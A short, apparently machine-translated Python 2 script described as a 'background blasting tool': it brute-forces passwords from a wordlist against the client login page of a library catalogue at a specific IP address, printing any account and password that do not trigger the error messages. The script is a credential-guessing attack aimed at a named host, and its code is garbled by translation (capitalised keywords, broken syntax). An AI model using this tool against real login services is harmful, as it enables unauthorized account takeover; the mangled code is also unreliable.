SYS: using the SYS module to get the parameters of the script
Queue module, creating a "queuing" object
The time module, Python, Times () returns the timestamp of the current time (the number of floating-point seconds elapsed after the 1970 era).
The Find () function returned as 1 if it was not found
#!/usr/bin/env python
#-*-Coding:utf-8-*-
Import Sys
Import requests
Import Queue
Import time
# 1315935012
Username = sys.argv[1]
Password_file = sys.argv[2]
Queue = Queue.queue ()
f = open (Password_file)
For line in F.readlines ():
Queue.put (Line.strip ())
# Use account as password
Queue.put (username)
Start_time = Time.time ()
While not Queue.empty ():
Password = Queue.get ()
#print Password
Url= "Http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
query = {
' Callback ': "jquery17205871516966488435_1472197449413",
' username ': username,
' Password ': password,
' Logintype ': "Callno",
' _ ': ' 1472197524853 '
}
#print Query
Try
resp = requests.get (url, query)
Except
Queue.put (password)
resp.encoding = resp.apparent_encoding
If Resp.text.find (u "Password or login number error") = =-1 and Resp.text.find (U "reader not present") = =-1:
Print "[*] Account:%s Password:%s"% (username, password)
End_time = Time.time ()
Print "total:%f"% (end_time-start_time)
Python Background blasting tool